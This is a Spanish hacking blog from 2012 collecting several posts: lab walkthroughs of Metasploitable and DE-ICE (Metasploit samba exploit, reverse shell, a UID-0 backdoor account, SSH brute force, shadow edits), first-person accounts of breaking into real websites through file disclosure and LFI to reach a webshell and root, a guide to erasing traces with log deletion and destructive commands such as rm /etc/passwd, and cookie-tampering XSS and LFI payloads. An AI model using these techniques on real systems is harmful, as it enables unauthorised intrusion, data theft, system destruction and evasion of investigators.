domingo, 10 de junio de 2012

[Relato] Entorno de seguridad Metasploitable versión Mayo 2010, Técnica #1

Esta sólo es una técnica para explotar la distro, veo un sin fín de caminos, recorrí el primero con el que me topé. Próximamente explicaré otros métodos.

La verdad, esperaba algo más complejo, pero ahí va

Tiempo: ~20 minutos

¿Qué necesitaremos?
¿Cuáles serán nuestros objetivos?
  • Instalación del entorno
  • Mapeo de red
  • Escaneo
  • Análisis
  • Ataque y Root
  • Backdoor SSH
  • Despedida
¿Reglas?
  • No.

Instalación del entorno


Lo primero será obtener la imagen del disco duro del sistema desde el link citado anteriormente.
Cabe aclarar, que para acoplar el fichero VMDK a VirtualBox, primero tendrán que convertirlo a VDI. Esto se soluciona acoplandola a VMWare.


La configuración es autmática, sólo deberás configurar la red como adaptador host a host.

Mapeo de red


Como de costumbre, acudiremos a nmap.
nmap -sP 192.168.xxx.*
Esto arroja:
Starting Nmap 5.51 ( http://nmap.org ) at 2012-06-09 11:54 Hora de verano romance
Nmap scan report for 192.168.29.1
Host is up.
Nmap scan report for 192.168.29.128
Host is up (0.012s latency).
MAC Address: 00:0C:29:1E:8B:E7 (VMware)
Nmap scan report for 192.168.29.254
Host is up (0.0030s latency).
MAC Address: 00:50:56:F1:C8:4D (VMware)
Nmap done: 256 IP addresses (3 hosts up) scanned in 8.06 seconds

Tenemos nuesta máquina lista en la dirección 192.168.29.128.



Escaneo
 
Hechemos un vistazo rápido con Nmap:
nmap -sS -sV 192.168.29.128
Aquí nos topamos con algunas cosas interesantes.
PORT STATE SERVICE VERSION
21/tcp open ftp?
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
53/tcp open domain ISC BIND 9.4.2
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.10 wi
th Suhosin-Patch)
139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 00:0C:29:1E:8B:E7 (VMware)
Service Info: Host: metasploitable.localdomain; OS: Linux

Da más miedo que Bush hablando de paz.

Como sospechaba, aquí esta el terrorífico resultado de Nessus:

Alta:Apache HTTP Server Byte Range DoS
Microsoft Windows SMB Shares Unprivileged Access


 Media:
 SMB Signing Disabled HTTP TRACE / TRACK Methods Allowed
Apache HTTP Server httpOnly Cookie Information Disclosure

 Baja: 
 [...] Muchisimas vulnerabilidades leves

Así que empecemos por la primera... Heap-Based Remote Buffer Overflow.

Buscando por Google concluimos:


Attackers can exploit this vulnerability to execute arbitrary code with SYSTEM-level privileges. Failed exploit attempts will result in a denial-of-service condition. 

Un atacante puede ejecutar código arbitrario en la máquina remota mediante desbordamiento de buffer. Ésto se consigue sobreescribiendo la pila para redireccionar el punto de retorno hacia nuestro código malicioso, que, por ejemplo, dejará un puerto a la escucha.

Todo con permisos System (ROOT)

Si el ataque no prospera, nuestro ataque generará una saturación en dicho servicio que finalizará en K.O. informático (DoS). Véase PortKnocking

Análisis

Tenemos un fallo, de entre tantos, en el servicio SAMBA. Antes de ponernos a rompernos la cabeza con el exploit... Teniendo en cuenta que ya no es ningún reto, acudiremos directamente a Metasploit.

Esto no pretende ser ningún tipo de tutorial sobre nessus, metasploit o nmap, sino una guia de ataque. Sin embargo, para quienes jamás utilizaron MSF pero sí se dedican a esto, deberían conocer los comandos básicos. O cómo llegar a ellos.
  1. search EXPLOIT
  2. use EXPLOITlink
  3. search PAYPLOADS
  4. set PAYLOAD PayLoadlink
  5. show options
  6. set OPCIÓN Valor
  7. exploit
Esta sería una guía abstracta. Hay quien ensucia nombres "sabiendo como y no porqué"


Procedamos al ataque.

Ataque y ROOT


Pues bien, primero sería acudir a la búsqueda del exploit.
search samba

Advertí el siguiente exploit, que utilicé:
use exploit/multi/samba/usermap_script


Me puse a identificar payloads... Haber cual me conviene más
search payload


Y configuré como payload una shell inversa para su S.O.
set PAYLOAD cmd/unix/reversepayload/cmd/unix/reverse 


Y listo, solo falta configurar opciones.
SHOW OPTIONS
-------------
set RPORT 445
set LHOST 192.168.29.1
RHOST 192.168.29.128


Final:
exploit


Backdoor SSH

Ya que logramos acceder con permisos de ROOT, es tan simple como ejecutar el comando passwd.

Posteriormente, estramos por ssh...

ssh root@192.168.29.128
root@192.168.29.128's password:
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
You have mail.
root@metasploitable:~#

Dejamos un regalito:

root@metasploitable:~# adduser yo-mismo
Adding user `yo-mismo' ...
Adding new group `yo-mismo' (1004) ...
Adding new user `yo-mismo' (1004) with group `yo-mismo' ...
Creating home directory `/home/yo-mismo' ...
Copying files from `/etc/skel' ...
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
Changing the user information for yo-mismo
Enter the new value, or press ENTER for the default
Full Name []:
Room Number []:
Work Phone []:
Home Phone []:
Other []:
Is the information correct? [y/N] y
root@metasploitable:~#

Ya tenemos un nuevo usuario en la máquina.... Vamos a cambiarle los permisos
nano /etc/passwd
Y ahí cambiamos:

yo-mismo:x:1004:1004:,,,:/home/yo-mismo:/bin/bashar/lib/postgresql:/bin/bash Por:
yo-mismo:x:0:0:,,,:/home/yo-mismo:/bin/bashar/lib/postgresql:/bin/bash

Con esto modificamos el GID y el UID del usuario. únicamente sería preciso editar el ID del grupo al que pertenece (a root), pero buéh, la costumbre manda
¿Tenemos el usuario listo para entrar por SSH como ROOT?

ssh yo-mismo@192.168.29.128
yo-mismo@192.168.29.128's password:
Last login: Sat Jun 9 06:48:10 2012 from 192.168.29.1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
root@metasploitable:~# id
uid=0(root) gid=0(root) groups=0(root)
root@metasploitable:~# 

Lindo panorama.

Despedida
Link original: OverSec.org

Dedicación: 11Sep, Hielasangre, Swash, .... A tí.

Un saludo!

jueves, 7 de junio de 2012

Relato de una infiltración, a medias. Full Source Disclousure.

Esto es un relato un tanto viejo, al cual dejé pasar un tiempo antes de publicar, hasta que el bug fué reparado.

Mientras mi "socio", 11sep navegábamos, topamos con un servidor vulnerable. Esta vez, un FSD.

Igual que el anterior relato, la llamaremos site.com.

Esta página, tenía un script absurdo, que descargaba "ficheros", en la ruta site.com/down.php?f=xxx

Recorrimos la página desde el index hasta topar con los datos de MySQL, al cual accedimos, bajo previa protección.

Llegamos al panel de administración, pero el problema estaba en que se trataba de un hash en SHA1 y MD5, el cual en lugar de brutalizar, cambiamos la clave durante 1 minuto para entrar.

Dentro nos topamos con un sinfín de vulnerabilidades, que si FSD, que si FPD, que si SQLi... Y un lindo uploader...

No hicimos nada, ya que la web podríamos clonarla, y teniamos la base de datos.
Como en el anterior relato, es mi único objetivo.

Dejamos pasar un tiempo, y volvimos a intentar entrar, para subir una shell. Resulta que habían migrado a un servidor MySQL que no permitía conexiones internas.

Sinceramente me resulta patético buscar scripts por Mr.Google y colgarlos, sin antes saber qué hace... Imaginen si hubieramos subido la shell y rooteado... ¿De qué habría servido migrar el servidor?

Pasamos por alto un sin fín de oportunidades, utilizar el FPD para subir una shell desde SQL, bypassear el uploader, incrustar un PHP en pleno index con la shell...

Nuestro objetivo no fué más que lograr una infiltración al área restringida (Panel de administración)

Como siempre digo, Antes de correr, hay que saber andar.

Un saludo.

[Doc.] Relato de una intrusión: Un Miserable LFI

Hace unos dias, mientras navegaba aburrido por la Web, encontre una pagina con una vulnerabilidad LFI.

El sitio, por privacidad, lo llamaremos www.site.com.

Observe que la dirección del archivo a incluir lo pasaba mediante GET por la variable "site.com/index.php?Page=", a la cual se agregaba la extensión ".PHP" por seguridad...

Estuve un rato pensando como evadirlo, y llegue a una conclusión: Tratar con el Null Byte.

Básicamente, para explotarlo, o que hice fue utilizar un archivo inexistente, observar la ruta donde estaba el directorio htdocs, (/var/www/htdocs), para después buscar algún fichero que vulnerar.

En un primer intento, trate de enviarle la ruta: ../../../etc/passwd, el cual funciono exitosamente, y buscando, concluí que existía el fichero /proc/self/environ, el cual mostraba mi User-Agent. Cabe aclarar que este permitia la inclusión de PHP modificando via Live HTTP Headers.

Con todo esto, conseguí crear una webshell en el servidor, lo que me facilito los datos de la base de datos, y una copia de la web.

Se trataba de un kernel 2.6.30, así que decidí dejar mi netcat escuchando en modo recursivo, y cree la conexión con el Host.

Posteriormente, vía wget descargue un Root Exploit que encontré por la red, lo cual me permitió permisos de Root en dicho servidor.

Resulta que, en dicho servidor, habían mas de 50 usuarios, con varios dominios cada uno...
Lejos de hacer un deface masivo, lo cual nunca fue, ni sera, mi objetivo, decidí limpiar mis huellas y salir de ahí, con una clara conclusión:

Un solo fallo, lo pueden pagar muchos.

Mi único trofeo fue la copia de la Web, y de la base de datos, de los cuales no obtuve datos relevantes.

Un saludo!

[Rastreo] Eliminación de huellas

No me hago responsable del mal uso de este artículo.

Existen tantos tipos de huellas, como tipos de ataques realizados.
Lo primero que hay que tener en cuenta, es qué hicimos, y como nos pueden cojer.

Para entrar a robar a una casa, puede tirarse la puerta a patadas, utilizar una palanca (Fuerza Bruta), Ganzuas... En el primer caso hay que recomponer la puerta, en el seguro repararla, en el tercero, deshacerse de las ganzuas.
Esto no implica que no queden otros rastros.

Existen muchos tipos de herramientas, backdoors, sniffers para capturar datos, logs de acceso de Apache u otros servicios (daemons)...
Muchos "Hackers" se limitan a eliminar los access_logs del apache, destruir webshells y backdoors, y root exploit's (Lo cual olvidé en mi último relato, por lo que supieron de la actividad, aunque no conocen su autor), y la cosa no es así.

Si creamos un usuario, no bastaría con eliminar la cuenta... ¿Cómo creaste el usuario? ¿Mediante comandos?

El fin de esta guía no es realizar el ataque perfecto, sino más bien una orientación.
Existen multitud de herramientas, tales como Zappers que afirman eliminar todo rastro... Cuando esto no es así.

Daremos un repaso por los medios más utilizados.

A) Destrucción del sistema
A-1) Esto ocurre cuando la evidencia es tal, que no queda otro remedio.
La forma más común, almenos en mi caso, seria inhabilitar el login, y causar un tal destrozo que el único medio sea la destrucción total o parcial. He aquí algunos comandos de interés:
rm /etc/passwd
rm /etc/shadow
rm /bin/login
rm /bin/rm
rm /etc/inetd.conf
killall login
B) Capturando y eliminando los access log de Apache.
B-1) Esta opción solo es viable si únicamente realizaste un ataque a nivel Web, por ejemplo, una Webshell
Los directorios más comunes son:
apache/logs/error.log
apache/logs/access.log
apache/logs/error.log
apache/logs/access.log
apache/logs/error.log
apache/logs/access.log
etc/httpd/logs/acces_log
etc/httpd/logs/acces.log
etc/httpd/logs/error_log
etc/httpd/logs/error.log
var/www/logs/access_log
var/www/logs/access.log
usr/local/apache/logs/access_log
usr/local/apache/logs/access.log
var/log/apache/access_log
var/log/apache2/access_log
var/log/apache/access.log
var/log/apache2/access.log
var/log/access_log
var/log/access.log
var/www/logs/error_log
var/www/logs/error.log
usr/local/apache/logs/error_log
usr/local/apache/logs/error.log
var/log/apache/error_log
var/log/apache2/error_log
var/log/apache/error.log
var/log/apache2/error.log
var/log/error_log
var/log/error.log
var/log/access_log
var/log/access_log
Se puede eliminar con RM, o editar, pero para asegurarse de no dejar nada mal, hacer uso de Tee.
C) Eliminar el Bash History
C-1) Si, es algo lógico, que mucha gente olvida...
C-2) Es tan sencillo como editar y/o eliminar el .bash_history o .sh_history
C-3) Recordar: Esto se hace JUSTO ANTES de salir.

D) Eliminar todo rastro de exploits, webshells, sniffers, ...
D-1) Como comenté, me descubrieron por dejar un Root Exploit. No saben quien fue, pero ahí supongo que seguirá.

E) Tener cuidado con los cambios en el sistema
E-1) Este paso es vital. Si hiciste un cambio y te agarran, será peor que si solo realizaste la intrusión, dependiendo del pais en el que residas.

F) Cuidado con los Backdoors
F-1) Durante un corto tiempo puede pasar inadvertido, durante más, puede ser descubierto... Más vale prevenir que curar.

G) Eliminar toda cuenta realizada, sobre todo si tiene permisos de Root
G-1) No basta con eliminar los permisos de shell (/sh/false)

H) Cuidado: Si hay alguien más logeado al sistema, puede ser muy peligroso.
H-1) Pueden capturarte fácilmente, además de rastrearte sin el más minimo problema.

I) Desconfia de todos. El anonimato implica el silencio absoluto, discreción, y seguridad. Jamás digas "Ataqué X servidor", si hay necesidad, "Ataqué un servidor". Fuera del sistema, si eres buscado, no dudes que te espiarán.
I-1) No existe proxy seguro, solo muy faciles, faciles, complejos, y extremadamente complejos. Pero no seguros.

J) Cuidado con el syslog.
 J-1) En ocasiones puede ser más complejo de lo habitual deshacerse de cambios realizados en el.

K) Comandos de interés:
-Who: Lista usuarios activos.
-last: Ultimo inicio de sesión de usuario.
-ps: Procesos activos.
-lastcom / hostory: Comandos realizados. Véase apartado C.
L) Ficheros peligrosos:
-utmp: Guarda un registro (log) de los usuarios que están utilizando el sistema mientras estan conectados al sistema. Directorios: /var/adm/utmp y /etc/utmp
-wtmp: Guarda un log cada vez que un usuario se introduce en el sistema o sale del sistema.
-lastlog: Guarda un log del momento exacto en que un usuario entro por ultima vez.
-acct o pacct: Registra todos los comandos ejecutados por cada usuario (aunque no registra los argumentos con que dichos comandos fueron ejecutados).
Despedida:
¿Salir ileso? Sólo te salva la ignorancia del que esté detrás.
Este tutorial va dedicado a Vengador (The X-Cell), 11Sep, RemoteExecution, a todo OverSec.org

Se aceptan críticas, sugerencias, y amenazas de muerte.

Como siempre digo: "Para saber hacer, hay que saber que haces"

Un saludo!

Insecure Cookie Handling

Aburrido, y tras un tiempo sin escribir nada, se me ocurrió escribir algo sobre Insecure Cookie Handling... Ahí va.


¿Qué es? 
Es una mala filtración o mal uso de las cookies, donde se almacena información sensible que puede ser alterado con facilidad.
Nivel: Muy bajo.
Potencia: Elevada

Ejemplo: 
if(isset($_COOKIE["UID"]))
{
if($_COOKIE["UID"]=="Administrador")
{
echo "Bienvenido, administrador";
} else {
echo "Acceso restringido";
}
} else {
echo "Debes Logearte";
}
?> 

Lo pruebo desde mi máquina, y como es lógico me dice que debo loggearme.
Así que pediremos ayuda a Live HTTP Headers, y con el editamos la cookie.

Debes loggearte: Cookie: usuario=yo-mismo
No autorizado: Cookie: usuario=yo-mismo;UID=Usuario
Acceso a admin: Cookie: usuario=yo-mismo;UID=Administrador

Es increible la cantidad de sitios web vulnerables a este ataque, de una u otra forma.

Explicación:
Cuando haya que realizar alguna comprobación sensible, cono en este caso, debe estar todo protegido (quizas un MD5&SALT lo solucionase rápido)... Esto provoca todo tipo de vulnerabilidades, ya que te deja una puerta abierta.
Según el uso, quizás podais lograr algún LFI, XSS, PHPi, SQLi, o más fallos que intentar provocar... Siempre suele caer algo, por pequeño que sea

Ejemplo #2 ~ XSS:
if(isset($_COOKIE["usuario"]))
{
echo "Hola, ".$_COOKIE["usuario"];
} else {
echo "Inicia sesión";
}
?>
Cookie: usuario=<script>alert(document.cookie);</script>

Ejemplo #3 ~ LFI:
if(isset($_COOKIE["file"]))
{
include($_COOKIE["file"]);
} else {
include("Home.php");
}
?>

Cookie: usuario=../../../../../../../../../../../../../../etc/passwd

Este ya un tanto más ridículo xD

Despedida: Confío les haya sido de utilidad. Cualquier duda en este mismo tema.

Un saludo!

martes, 5 de junio de 2012

[Relato] Entorno de seguridad DE-Ice v2

Trasteando aburrido, descargué dos sistemas de seguridad controlados para practicar un Test de Intrusión. Estas son DE-ICE v1 y V2 respectivamente.

Las distribuciónes de seguridad pueden ser descargadas desde Heorot.net.

¿Qué necesitaremos?

  • Dos máquinas virtuales
  • De-ICE v2
  • Backtrack 5
¿Cuáles serán nuestros objetivos?
  • Webcrawling
  • Accesar servidor
  • Obtener privilegios de ROOT
¿Reglas?
  •  -No Exploit

Empieza la fiesta.

Lo primero que haremos será unir las dos máquinas virtuales. A de-ice se le asigna por defecto la subred 192.168.2.*.
Esto se puede realizar con el siguiente comando:

ifconfig eth0 192.168.2.150
Siendo 150 una dirección libre, y eth0 su interfaz de red.
Procedamos pues a localizar el servidor.
Aremos uso de Netdiscover, o en su defecto, NMAP -sP 192.168.2.*.
Veamos que tenemos por aquí.
Currently scanning: 192.168.19.0/16 | Screen View: Unique Hosts

2 Captured ARP Req/Rep packets, fro.m 2 hosts. Total size: 120
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor
-----------------------------------------------------------------------------
192.168.2.100 08:00:27:b1:50:12 01 060 CADMUS COMPUTER SYSTEMS
192.168.2.101 08:00:27:b1:50:12 01 060 CADMUS COMPUTER SYSTEMS
Tenemos dos sistemas. Escaneamos con NMAP para obtener resultados.

nmap -sV 192.168.2.100 - nmap -sV 192.168.2.101
-Primer host:
PORT STATE SERVICE VERSION
20/tcp closed ftp-data
21/tcp open ftp vsftpd 2.0.4
22/tcp open ssh OpenSSH 4.3 (protocol 1.99)
25/tcp open smtp Sendmail 8.13.7/8.13.7
80/tcp open http Apache httpd 2.0.55 ((Unix) PHP/5.1.2)
110/tcp open pop3 Openwall popa3d
143/tcp open imap UW imapd 2004.357
443/tcp closed https
FTP vulnerable... Pero no utilizaremos exploits, ni para atacar, ni para escalar privilegios.
Vemos que el segundo únicamente tiene el puerto 80. Si accedemos a el via web, no vemos más que unos ficheros. Si accedemos a 192.168.2.100, vemos una página Web. Pincho el enlace y veo direcciones de correo. Está claro: Hay un servicio de correo, por lo que habrán dichos usuarios, "seguramente".

Buscando amigos


Seleccionamos la lista de correo, y la limpiamos de forma que simplemente quede el nombre del usuario, argegando el signo ~ (user) para tratar de brutalizar, haber si encontramos algún directorio de interés.
Ésta es mi lista:
root
admin
~root
~admin
~pickwick
~winkle
~snodgrass
~tupman
~weller
~tweller
~havisham
~magwitch
~pirrip
~nickleby
~rnickleby
~noggs
~squeers
~pinch
~tapley
~gamp
~marley
~scrooge
~cratchit
~sikes
~dawkins
~claypole
Brutalizamos con DirBuster en 192.168.2.101 y vemos que hay un usuario, pirrip. Tratemos si con un poco de suerte existe la carpeta .ssh.
Ahí tenemos los id_rsa y id_rsa.pub, esperándonos boxing
Lo almacenamos en /root/.ssh/ y damos permisos 777.

Intruder Here

Procedamos a conectar via SSH.

ssh pirrip@192.168.2.100
Tachán! estamos dentro.

 You Have New Mail

Entramos y leemos el correo. Hagamos uso de mailx para leer el séptimo correo.
En el vemos:

root@bt:~# ssh pirrip@192.168.2.100
Linux 2.6.16.
pirrip@slax:~$ mailx
mailx version nail 11.25 7/29/05. Type ? for help.
"/var/mail/pirrip": 7 messages 7 new
>N 1 Abel Magwitch Sun Jan 13 23:53 20/748 Estella
N 2 Estella Havisham Sun Jan 13 23:53 20/780 welcome to the team
N 3 Abel Magwitch Sun Jan 13 23:53 20/875 havisham
N 4 Estella Havisham Mon Jan 14 00:05 20/861 next month
N 5 Abel Magwitch Mon Jan 14 00:05 20/868 vacation
N 6 Abel Magwitch Mon Jan 14 00:05 20/915 vacation
N 7 noreply@fermion.he Mon Jan 14 00:05 29/983 Fermion Account Login Reminder
? 7
Leemos el correo:
From noreply@fermion.herot.net Mon Jan 14 00:05:15 2008
Return-Path:
From: noreply@fermion.herot.net
Date: Sun, 13 Jan 2008 23:54:42 +0000
To: pirrip@slax.example.net
Subject: Fermion Account Login Reminder
User-Agent: nail 11.25 7/29/05
Content-Type: text/plain; charset=us-ascii
Status: R
Fermion Account Login Reminder
Listed below are your Fermion Account login credentials. Please let us know if you have any questions or problems.
Regards,
Fermion Support
Password: 0l1v3rTw1st

Tenemos una clave suculenta...





Fín!


Hagamos uso de una vieja técnica.
Editamos el fichero /etc/shadows, eliminamos el usuario ROOT y sustituimos pirrip por ROOT. De esta forma nos damos privilegios.
sudo vi /etc/shadow
Ahí ingresaremos la clave que nos facilitó nuestro amigo via mail baba
Antes:
root:$1$/Ta1Q0lT$CSY9sjWR33Re2h5ohV4MX/:13882:0:::::
bin:*:9797:0:::::
daemon:*:9797:0:::::
adm:*:9797:0:::::
lp:*:9797:0:::::
sync:*:9797:0:::::
shutdown:*:9797:0:::::
halt:*:9797:0:::::
mail:*:9797:0:::::
news:*:9797:0:::::
uucp:*:9797:0:::::
operator:*:9797:0:::::
games:*:9797:0:::::
ftp:*:9797:0:::::
smmsp:*:9797:0:::::
mysql:*:9797:0:::::
rpc:*:9797:0:::::
sshd:*:9797:0:::::
gdm:*:9797:0:::::
pop:*:9797:0:::::
nobody:*:9797:0:::::
pirrip:$1$KEj04HbT$ZTn.iEtQHcLQc6MjrG/Ig/:13882:0:99999:7:::
magwitch:$1$qG7/dIbT$HtTD946DE3ITkbrCINQvJ0:13882:0:99999:7:::
havisham:$1$qbY1hmdT$sVZn89wKvmLn0wP2JnZay1:13882:0:99999:7:::
Después:
bin:*:9797:0:::::
daemon:*:9797:0:::::
adm:*:9797:0:::::
lp:*:9797:0:::::
sync:*:9797:0:::::
shutdown:*:9797:0:::::
halt:*:9797:0:::::
mail:*:9797:0:::::
news:*:9797:0:::::
uucp:*:9797:0:::::
operator:*:9797:0:::::
games:*:9797:0:::::
ftp:*:9797:0:::::
smmsp:*:9797:0:::::
mysql:*:9797:0:::::
rpc:*:9797:0:::::
sshd:*:9797:0:::::
gdm:*:9797:0:::::
pop:*:9797:0:::::
nobody:*:9797:0:::::
root:$1$KEj04HbT$ZTn.iEtQHcLQc6MjrG/Ig/:13882:0:99999:7:::
magwitch:$1$qG7/dIbT$HtTD946DE3ITkbrCINQvJ0:13882:0:99999:7:::
havisham:$1$qbY1hmdT$sVZn89wKvmLn0wP2JnZay1:13882:0:99999:7:::
Guardamos, y tratamos de entrar como superadministrador. Recordemos la clave: 0l1v3rTw1st.
Aclaración: Esto fué posible debido a que el usuario pirrip corre bajo permisos Wheel.
pirrip@slax:~$ su
Password: ***********
root@slax:/home/pirrip# whoami
root
root@slax:/home/pirrip#
GAME OVER!

Dedicación: 11Sep, [T]rasher, Batista, Exploit-Shell, en fin, a todo OverSec!

[Relato] Entorno de seguridad DE-Ice v1


Esta vez vengo con DE-Ice v1.0.
Las distribuciónes de seguridad pueden ser descargadas desde Heorot.net.

¿Qué necesitaremos?

-Dos máquinas virtuales
-De-ICE v1
-Backtrack 5
-Diccionario de claves comunes inglesas

¿Cuáles serán nuestros objetivos?
-Mapeo de red
-Análisis de red
-Fuerza bruta a servicio
-Fuerza bruta a shadow
-Root

¿Reglas?
-No Exploit

Allá que vamos

Escaneamos las redes para localizar a nuestra presa.
netdiscover
Currently scanning: 192.168.1.0/16 | Screen View: ARP Reply

1 Captured ARP Reply packets, from 1 hosts. Total size: 60
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor
-----------------------------------------------------------------------------
192.168.1.100 08:00:27:b1:50:12 01 060 CADMUS COMPUTER SYSTEMS
Identificamos servicvios con NMAP:
root@bt:/# nmap -sV 192.168.1.100
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-02 22:07 CET
Nmap scan report for 192.168.1.100
Host is up (0.0070s latency).
Not shown: 992 filtered ports
PORT STATE SERVICE VERSION
20/tcp closed ftp-data
21/tcp open ftp vsftpd (broken: could not bind listening IPv4 socket)
22/tcp open ssh OpenSSH 4.3 (protocol 1.99)
25/tcp open smtp Sendmail 8.13.7/8.13.7
80/tcp open http Apache httpd 2.0.55 ((Unix) PHP/5.1.2)
110/tcp open pop3 Openwall popa3d
143/tcp open imap UW imapd 2004.357
443/tcp closed https
MAC Address: 08:00:27:B1:50:12 (Cadmus Computer Systems)
Service Info: Host: slax.example.net; OS: Unix
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.29 seconds
Dejando huella

Vemos que tenemnos varios servicios, excepto uno: FTP. No nos permite conexiones IPv4.
Entramos via HTTP, y nos fijamos que la página nos muestra unos correos. Alteremoslos.
Esto fué lo que obtuve:
addams
aadams
adaams
damsaa
adamsa
banterb
bbanter
banterb
anterbb
bbanteerbb
coffeec
cooffec
ccoffee
coooffe
cooofef
coofefc
cooffee
Lanzamos medusa tratando de tener suerte.

medusa -h 192.168.1.100 -U user -P user -M ssh

¡Bingo! Nos encuentra un usuario. Mismo usuario y clave.
ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: bbanter (7 of 16, 6 complete) Password: adaams (3 of 17 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: bbanter (7 of 16, 6 complete) Password: damsaa (4 of 17 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: bbanter (7 of 16, 6 complete) Password: adamsa (5 of 17 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: bbanter (7 of 16, 6 complete) Password: banterb (6 of 17 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: bbanter (7 of 16, 6 complete) Password: bbanter (7 of 17 complete)
ACCOUNT FOUND: [ssh] Host: 192.168.1.100 User: bbanter Password: bbanter [SUCCESS]
ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: anterbb (8 of 16, 7 complete) Password: addams (1 of 17 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: anterbb (8 of 16, 7 complete) Password: aadams (2 of 17 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: anterbb (8 of 16, 7 complete) Password: adaams (3 of 17 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: anterbb (8 of 16, 7 complete) Password: damsaa (4 of 17 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: anterbb (8 of 16, 7 complete) Password: adamsa (5 of 17 complete)
Decepción

Accedo vía SSH:root@bt:/pentest/passwords/john# ssh bbanter@192.168.1.100
bbanter@192.168.1.100's password:
Pero si tratamos de hacer un cat /etc/shadow, como es lógico, nos dirá que nuestro siguiente comando es:

exit

Si antes leemos el /etc/passwd, veremos que el usuario aadams se las trae con otros permisos.

Pidiendo auxilio a la medusa

Intentemos con otro diccionario:
root@bt:/pentest/passwords/john# medusa -h 192.168.1.100 -U user -P list.lst -M ssh
ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: aadams (7 of 16, 6 complete) Password: fuckyou (578 of 675 complete) ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: aadams (7 of 16, 6 complete) Password: matthew (579 of 675 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: aadams (7 of 16, 6 complete) Password: miller (560 of 675 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: aadams (7 of 16, 6 complete) Password: ou82 (561 of 675 complete)
ACCOUNT FOUND: [ssh] Host: 192.168.1.100 User: aadams Password: nostradamus [SUCCESS]
ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: aadams (7 of 16, 6 complete) Password: tiger (562 of 675 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: aadams (7 of 16, 6 complete) Password: trustno1 (563 of 675 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: aadams (7 of 16, 6 complete) Password: 12345678 (564 of 675 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: aadams (7 of 16, 6 complete) Password: alex (565 of 675 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: aadams (7 of 16, 6 complete) Password: windows (566 of 675 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: aadams (7 of 16, 6 complete) Password: flipper (567 of 675 complete)
Nos muestra el usuario aadams, con su consiguiente clave.
Entramos via SSH, y obtenemos el fichero.
Root Success

root@bt:/pentest/passwords/john# ssh aadams@192.168.1.100
aadams@192.168.1.100's password:
Linux 2.6.16.
aadams@slax:~$ sudo cat /etc/shadow
Password:
root:$1$TOi0HE5n$j3obHaAlUdMbHQnJ4Y5Dq0:13553:0:::::
bin:*:9797:0:::::
daemon:*:9797:0:::::
adm:*:9797:0:::::
lp:*:9797:0:::::
sync:*:9797:0:::::
shutdown:*:9797:0:::::
halt:*:9797:0:::::
mail:*:9797:0:::::
news:*:9797:0:::::
uucp:*:9797:0:::::
operator:*:9797:0:::::
games:*:9797:0:::::
ftp:*:9797:0:::::
smmsp:*:9797:0:::::
mysql:*:9797:0:::::
rpc:*:9797:0:::::
sshd:*:9797:0:::::
gdm:*:9797:0:::::
pop:*:9797:0:::::
nobody:*:9797:0:::::
aadams:$1$6cP/ya8m$2CNF8mE.ONyQipxlwjp8P1:13550:0:99999:7:::
bbanter:$1$hl312g8m$Cf9v9OoRN062STzYiWDTh1:13550:0:99999:7:::
ccoffee:$1$nsHnABm3$OHraCR9ro.idCMtEiFPPA.:13550:0:99999:7:::
aadams@slax:~$
Salimos.
exit
Crackeamos.
